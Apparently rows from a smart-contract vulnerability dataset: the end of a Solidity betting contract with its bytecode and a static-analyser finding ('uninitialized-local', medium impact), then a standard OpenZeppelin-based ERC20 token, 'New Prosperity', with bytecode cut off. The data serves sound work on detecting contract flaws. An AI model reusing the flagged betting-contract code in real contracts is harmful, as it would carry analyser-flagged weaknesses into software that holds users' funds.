getBalanceOf(customer); uint256 globalIncrease = globalFactor.mul(lostAmount) / betPool(customer); globalFactor = globalFactor.add(globalIncrease); personalFactor[customer] = constantFactor / globalFactor; if (lostAmount > customerBalance) { lostAmount = customerBalance; } personalLedger[customer] = customerBalance.sub(lostAmount); } function weGotAWinner(address customer, uint256 winAmount) private { uint256 customerBalance = getBalanceOf(customer); uint256 globalDecrease = globalFactor.mul(winAmount) / betPool(customer); globalFactor = globalFactor.sub(globalDecrease); personalFactor[customer] = constantFactor / globalFactor; personalLedger[customer] = customerBalance.add(winAmount); } } /** * @dev Randomizer contract interface */ contract Randomizer { function getRandomNumber(int256 min, int256 max) public returns(int256); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b4438e5146101225780630da590d41461014d57806312065fe01461016457806327f8ce381461018f5780632e1a7d4d146101a65780632e5b2168146101d3578063595e615f146101fe578063767bcab514610255578063853828b61461029857806387e4e64d146102af5780639619367d146102da57806396d28e00146103055780639b96eece14610323578063a5b6ea8f1461037a578063c3de1ab9146103bb578063cd9a1b63146103ea578063d0e30db014610415578063eb96ada71461041f578063ee1b095314610436578063f851a4401461047d578063fa89401a146104d4575b600080fd5b34801561012e57600080fd5b50610137610517565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261058b565b005b34801561017057600080fd5b5061017961065c565b6040518082815260200191505060405180910390f35b34801561019b57600080fd5b506101a461067b565b005b3480156101b257600080fd5b506101d1600480360381019080803590602001909291905050506106f4565b005b3480156101df57600080fd5b506101e86108cb565b6040518082815260200191505060405180910390f35b34801561020a57600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d1565b6040518082815260200191505060405180910390f35b34801561026157600080fd5b50610296600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610920565b005b3480156102a457600080fd5b506102ad6109bf565b005b3480156102bb57600080fd5b506102c4610a0c565b6040518082815260200191505060405180910390f35b3480156102e657600080fd5b506102ef610a1c565b6040518082815260200191505060405180910390f35b61030d610a22565b6040518082815260200191505060405180910390f35b34801561032f57600080fd5b50610364600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c08565b6040518082815260200191505060405180910390f35b34801561038657600080fd5b506103a560048036038101908080359060200190929190505050610cd4565b6040518082815260200191505060405180910390f35b3480156103c757600080fd5b506103d0610db4565b604051808215151515815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610dc7565b6040518082815260200191505060405180910390f35b61041d610dcd565b005b34801561042b57600080fd5b50610434610fb2565b005b34801561044257600080fd5b506104616004803603810190808035906020019092919050505061102b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561048957600080fd5b50610492611054565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e057600080fd5b50610515600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061107a565b005b60003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151561055357600080fd5b60001515600360009054906101000a900460ff16151514151561057557600080fd5b61058661058133610c08565b610cd4565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105e757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f19350505050158015610651573d6000803e3d6000fd5b506000600281905550565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106d757600080fd5b6001600360006101000a81548160ff021916908315150217905550565b60003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151561073057600080fd5b33905060008211151561074257600080fd5b61074b81610c08565b821115151561075957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561079f573d6000803e3d6000fd5b506107bb826107ad83610c08565b61123c90919063ffffffff16565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060075472047bf19673df52e37f2410011d10000000000081151561081e57fe5b04600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f90ebb005d68efee044927e1e77e1fd0cecc508368aa72c39250a787eed5f0a70836108a361065c565b4260405180848152602001838152602001828152602001935050505060405180910390a25050565b60055481565b600061091960025461090b6108e585610c08565b3073ffffffffffffffffffffffffffffffffffffffff163161123c90919063ffffffff16565b61123c90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161415156109f957600080fd5b610a0a610a0533610c08565b6106f4565b565b6000610a1733610c08565b905090565b60045481565b6000806000803373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515610a6257600080fd5b60001515600360009054906101000a900460ff161515141515610a8457600080fd5b3392503491506002600454028210151515610a9e57600080fd5b603282811515610aaa57fe5b049050610ac28160025461125590919063ffffffff16565b600281905550610adb818361123c90919063ffffffff16565b9150610b0a81610afc34610aee87610c08565b61125590919063ffffffff16565b61123c90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060075472047bf19673df52e37f2410011d100000000000811515610b6d57fe5b04600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060055482101515610bc25760055491505b600a610bcd846108d1565b811515610bd657fe5b04821115610bf657600a610be9846108d1565b811515610bf257fe5b0491505b610c008284611271565b935050505090565b600072047bf19673df52e37f2410011d100000000000610cc3600754610cb5600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d490919063ffffffff16565b6115d490919063ffffffff16565b811515610ccc57fe5b049050919050565b6000803373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515610d1157600080fd5b60001515600360009054906101000a900460ff161515141515610d3357600080fd5b3390506004548310151515610d4757600080fd5b82610d5182610c08565b10151515610d5e57600080fd5b600554831115610d6e5760055492505b600a610d79826108d1565b811515610d8257fe5b04831115610da257600a610d95826108d1565b811515610d9e57fe5b0492505b610dac8382611271565b915050919050565b600360009054906101000a900460ff1681565b60025481565b6000803373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515610e0a57600080fd5b60001515600360009054906101000a900460ff161515141515610e2c57600080fd5b3391506002600454023410151515610e4357600080fd5b603234811515610e4f57fe5b049050610e678160025461125590919063ffffffff16565b600281905550610e9a81610e8c34610e7e86610c08565b61125590919063ffffffff16565b61123c90919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060075472047bf19673df52e37f2410011d100000000000811515610efd57fe5b04600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fa26ec6b15e753f8f448b8db8686a628872f78438cfe0d7040300f5c893f15c9334610f8261065c565b84426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100e57600080fd5b6000600360006101000a81548160ff021916908315150217905550565b600681600a8110151561103a57fe5b60209182820401919006915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d857600080fd5b6110e182610c08565b90508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611129573d6000803e3d6000fd5b506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060075472047bf19673df52e37f2410011d10000000000081151561118f57fe5b04600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f90ebb005d68efee044927e1e77e1fd0cecc508368aa72c39250a787eed5f0a708261121461065c565b4260405180848152602001838152602001828152602001935050505060405180910390a25050565b600082821115151561124a57fe5b818303905092915050565b6000818301905082811015151561126857fe5b80905092915050565b6000806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663428eb5cf600360019054906101000a900460ff16600360019054906101000a900460ff16600360029054906101000a900460ff16016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1681526020018260ff16815260200192505050602060405180830381600087803b15801561134757600080fd5b505af115801561135b573d6000803e3d6000fd5b505050506040513d602081101561137157600080fd5b8101908080519060200190929190505050955061138d8661160c565b945060058510156114ac5760008514156113c857600a6113b760098a6115d490919063ffffffff16565b8115156113c057fe5b049250611488565b60018514156113f857600a6113e760088a6115d490919063ffffffff16565b8115156113f057fe5b049250611487565b600285141561142857600a61141760078a6115d490919063ffffffff16565b81151561142057fe5b049250611486565b600385141561145857600a61144760068a6115d490919063ffffffff16565b81151561145057fe5b049250611485565b600485141561148457600a61147760038a6115d490919063ffffffff16565b81151561148057fe5b0492505b5b5b5b5b6114928784611672565b6114a5838961125590919063ffffffff16565b9350611545565b60058514156114bd57879350611544565b60068514156114da57600a888115156114d257fe5b049150611524565b60078514156114f7576004888115156114ef57fe5b049150611523565b60088514156115145760028881151561150c57fe5b049150611522565b6009851415611521578791505b5b5b5b61152e8783611785565b611541828961123c90919063ffffffff16565b93505b5b61154e87610c08565b90508673ffffffffffffffffffffffffffffffffffffffff167f6cc39dee30f676f4f51573724b90d7dbde8804203dee6bec77859ed572300af287878b88864260405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a2859550505050505092915050565b6000808314156115e75760009050611606565b81830290508183828115156115f857fe5b0414151561160257fe5b8090505b92915050565b600080600090505b600a8160ff16101561166b5760068160ff16600a8110151561163257fe5b602091828204019190069054906101000a900460ff1660ff168311151561165e578060ff16915061166c565b8080600101915050611614565b5b50919050565b60008061167e84610c08565b9150611689846108d1565b61169e846007546115d490919063ffffffff16565b8115156116a757fe5b0490506116bf8160075461123c90919063ffffffff16565b60078190555060075472047bf19673df52e37f2410011d1000000000008115156116e557fe5b04600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173c838361125590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60008061179184610c08565b915061179c846108d1565b6117b1846007546115d490919063ffffffff16565b8115156117ba57fe5b0490506117d28160075461125590919063ffffffff16565b60078190555060075472047bf19673df52e37f2410011d1000000000008115156117f857fe5b04600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081831115611848578192505b61185b838361123c90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505600a165627a7a7230582083cb134528f139802f97740428f2e6070038924950af22c3c6a1db56fe07bd3d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,663
0x1537e84821259dbbb9a1a9571dbf1395bb869a1f
/** *Submitted for verification at Etherscan.io on 2019-07-08 */ pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com */ /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn&#39;t required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses&#39; tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20 token contract of New Prosperity */ contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 8; uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("New Prosperity", "NPTY", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146104c9578063a457c2d71461054c578063a9059cbb146105b2578063dd62ed3e14610618578063f2fde38b1461069057610121565b806370a08231146103ad578063715018a61461040557806379cc67901461040f5780638da5cb5b1461045d5780638f32d59b146104a757610121565b80632e0f2625116100f45780632e0f2625146102b35780632ff2e9dc146102d7578063313ce567146102f5578063395093511461031957806342966c681461037f57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806323b872dd1461022d575b600080fd5b61012e6106d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b61021761078d565b6040518082815260200191505060405180910390f35b6102996004803603606081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b6102bb610848565b604051808260ff1660ff16815260200191505060405180910390f35b6102df61084d565b6040518082815260200191505060405180910390f35b6102fd61085f565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b6103ab6004803603602081101561039557600080fd5b810190808035906020019092919050505061091b565b005b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610928565b6040518082815260200191505060405180910390f35b61040d610970565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b005b610465610ab9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af610ae3565b604051808215151515815260200191505060405180910390f35b6104d1610b3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105986004803603604081101561056257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdd565b604051808215151515815260200191505060405180910390f35b6105fe600480360360408110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c82565b604051808215151515815260200191505060405180910390f35b61067a6004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c99565b6040518082815260200191505060405180910390f35b6106d2600480360360208110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d20565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561076c5780601f106107415761010080835404028352916020019161076c565b820191906000526020600020905b81548152906001019060200180831161074f57829003601f168201915b5050505050905090565b6000610783338484610da6565b6001905092915050565b6000600254905090565b60006107a4848484610f9d565b61083d843361083885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b600190509392505050565b600881565b600860ff16600a0a64e8d4a510000281565b6000600560009054906101000a900460ff16905090565b6000610911338461090c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b610da6565b6001905092915050565b61092533826112c4565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610978610ae3565b6109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab58282611462565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd35780601f10610ba857610100808354040283529160200191610bd3565b820191906000526020600020905b815481529060010190602001808311610bb657829003601f168201915b5050505050905090565b6000610c783384610c7385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b6001905092915050565b6000610c8f338484610f9d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d28610ae3565b610d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da381611509565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116dc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116996022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116506023913960400191505060405180910390fd5b611074816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611107816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561122b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152